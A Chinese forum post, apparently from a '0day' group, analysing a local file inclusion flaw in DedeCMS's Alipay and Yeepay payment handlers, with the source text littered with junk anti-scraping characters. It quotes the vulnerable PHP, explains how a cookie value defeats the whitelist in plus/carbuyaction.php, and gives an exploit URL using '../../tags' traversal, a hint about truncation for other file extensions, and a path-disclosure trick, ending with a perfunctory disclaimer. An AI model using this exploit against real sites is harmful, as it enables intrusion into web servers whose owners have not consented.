晚餐吃撑了,瞄下代码消化消化。最近Php0day群里的兄弟都在讨论dede洞多,赶紧下了套,用editplus搜索了几个关键字,果然发现些问题。(话说平时写代码也喜欢用editplus,小巧方便多年习惯)" g7 N/ q* p- y
* \7 L8 p6 K$ A! N: H6 s0 c' M
出现漏洞的两个文件为:4 N8 Y5 X* s( O
Include/payment/alipay.php
: Y' f0 _) x( F- F- ~, b; xInclude/payment/yeepay.php
: b2 R$ n! t0 k5 H漏洞均出现在respond方法里,估计这两个文件是临时工写的。
& G( X/ r! g( ?4 \! H3 a3 M
" n \+ ?: a' v7 VInclude/payment/alipay.php
8 b w3 Q& [# {: x# S
( Y+ g0 o) e3 H- ^- n3 y......9 ^+ o1 Q+ W9 e" ]
function respond(): n2 w( n. X3 e i1 V
{1 n7 n' m$ C1 s0 e
if (!empty($_POST)). {( t X& [% r' \$ Q, }" [
{
* z1 ]( ^$ a# [# `3 O0 M! l foreach($_POST as $key => $data)5 t. G1 l' v4 y* \
{
/ q$ R4 d5 `& B+ T3 s9 F( k' V1 [9 d $_GET[$key] = $data;5 u! c! u; b6 o; c, w
}" ?! x$ e0 Q8 V
}
0 M! D$ r- F5 Z: x" c! Y /* 引入配置文件 */
0 C8 x# L# Z o* p! ^ require_once DEDEDATA.'/payment/'.$_GET['code'].'.php';
. P3 Z' t6 |- H...... x% x( X: `% v* q' V) q z' [9 b
$ P1 h" f! m* I0 h+ `# I+ L
8 n9 r7 q& ?- ~
大概在133行左右,$_GET[‘code’]没有经过任何判断和过滤。
?1 H& A9 F1 g+ ~; X2 b6 U: ^ [1 }9 H- T, }# l% Z
Include/payment/yeepay.php5 G0 i! _ u7 B- w2 H% y
" K1 e" x$ F1 K8 q8 T( P1 n' Q. N
. A3 s- v2 T% O, ?! z2 ~! A1 i5 W& m* \% X
......; H, j3 i4 _/ L' @
function respond()
# p& a2 N% p# w' ]8 M) E; _( [+ t {- S, h8 k0 E% x% I
/ ^+ q E: T2 O! }1 C. q
/* 引入配置文件 */ j: u1 w6 M6 F/ U* ~
require_once DEDEDATA.'/payment/'.$_REQUEST['code'].'.php';+ K G, D3 M9 F9 S$ o
# |5 m+ X) F5 o5 I
$p1_MerId = trim($payment['yp_account']);
8 i% ~5 }7 P+ d' w* R( ~ $merchantKey = trim($payment['yp_key']);# S8 l# G# j! ~6 f% H& A
......
o, @6 |7 u* p
8 [# g7 V; |6 p1 a
+ {, U9 h' ^* |( c8 U& g
& F9 E/ v9 R* ?. K+ T/ [9 H5 l- _; D! Z& y# [2 M" M
大概在145行左右,$_REQUEST['code']没有经过任何判断和过滤。. D9 T$ f9 ]& {( d" ~
* T u4 Q7 o7 c" ?' N
这两个方法在plus/carbuyaction.php文件调用。' I! q( s4 g; O" N D
# } w/ Q2 a2 L4 Q
plus/carbuyaction.php
' i* b7 ^* A, o. _+ y" a
/ u4 F: S( l; `+ z....... F* ^; K$ x9 H- U, h6 X
} else if ($dopost == 'return') {7 K+ I, T$ [' v U8 h
$write_list = array('alipay', 'bank', 'cod', 'yeepay');
" b& _; T+ G/ z$ s; R% q5 v if (in_array($code, $write_list))
$ _& {8 u" o# e+ v' {- F2 r {
2 ?, [8 [% x) s$ k% R/ Y require_once DEDEINC.'/payment/'.$code.'.php';
9 n) c% R$ N7 i8 r) T $pay = new $code;
+ J0 T. U+ N3 K $msg=$pay->respond();
' W! a3 f( d5 l5 @; t6 \" O- j/ d4 c) ] ShowMsg($msg, "javascript:;", 0, 3000);
( I7 O0 m# t k$ ]" Q exit(); % y( J6 p/ d: c+ e5 t; N
} else {/ S7 |+ `5 L/ L) A' n% U
exit('Error:File Type Can\'t Recognized!');
+ l) k' d0 {& ~: |: b* t( l }
& m: b! W4 Z" ]) f' G {}/ |% q# } [3 p* Y6 }3 O' o
......
- ] J, k/ T6 X8 ^" o# j, ~: B
2 E9 J$ ` h; T, M4 @- Y9 l. X" |+ `. _+ ~* v+ A" i* C! i7 }, z
5 p0 I/ _- j2 X, b; i
* ?' b+ [" m0 o* j( v' M I( C9 v1 s
E, T9 t% }; E$ x, {/ ?" h( l" k- U9 m6 G8 d; t6 F
大概在334行,当$dopost等于return的时候就开始进入过程了。熟悉dedecms朋友都知道在include/common.inc.php使用了一种类似register_globals的机制。
4 L9 S* L. Y: S9 q, M% T) I所以$_GET['code']或$_REQUEST['code']会变成$code,而$code是经过判断的,值必须在$write_list数组以内这样才能继续后面的流程调用respond方法触发漏洞。这样的话貌似就无法控制$_GET['code']为任意值了。
5 T& {1 C% L- D1 y U2 I, J5 K+ Y) u6 e/ S L: u# \
回到include/common.inc.php来看看他的机制。
: l% k% g: p h5 X: A, T8 G$ j' E, p) A# Q2 Z( ^6 P
/ @! r. m- \; y& w* P& d; O
& g L' u/ b9 @) k- K8 X/ H
......9 H& r+ Z6 w$ f1 m& V) T2 t8 P: ~
foreach(Array('_GET','_POST','_COOKIE') as $_request)# X5 X2 I m- [1 p) Q: T
{* k5 R1 {9 z0 H. R( L( q8 N
foreach($$_request as $_k => $_v)
! }4 t6 P, F5 h% v {
/ t. { x( F; L- l: A3 Q$ W if($_k == 'nvarname') ${$_k} = $_v;
$ V: Z4 E) e. s% W0 q4 { else ${$_k} = _RunMagicQuotes($_v);
! `/ v+ \- i8 I& D; ^7 S }2 G) ?* D4 U, @" Y3 U+ }
}
) N% q0 u# }9 `1 d, l......
, S. S- r* I7 P5 p& Z大概在79行,可以看到他是从$_GET,$_POST,$_COOKIE这三个全局变量里取值的。嘿嘿,细心点就发现了吧。从他这个优先机制来讲他是先从get再从post再从cookie也就是说最终$code会是以$_COOKIE[‘code’]的值为准,而我们要控制的是$_GET[‘code’]或$_REQUEST['code']只须要$code的值在$write_list数组以内就行了。Exp:http://www.php0day.com/plus/carb ... amp;code=../../tags上面的Exp是包含根目录下的tags.php文件包含其他后缀请自行构造截断,使用exp测试时须要自己添加一个code等于alipay或yeepay的cookie。暴路径:
+ n) `: _* t3 _4 p由于bank和cod这两个文件并没有respond方法,所以如果code等于bank或者cod时将会暴错泄露路径。注:请勿非法测试,产生后果与本人无关。 |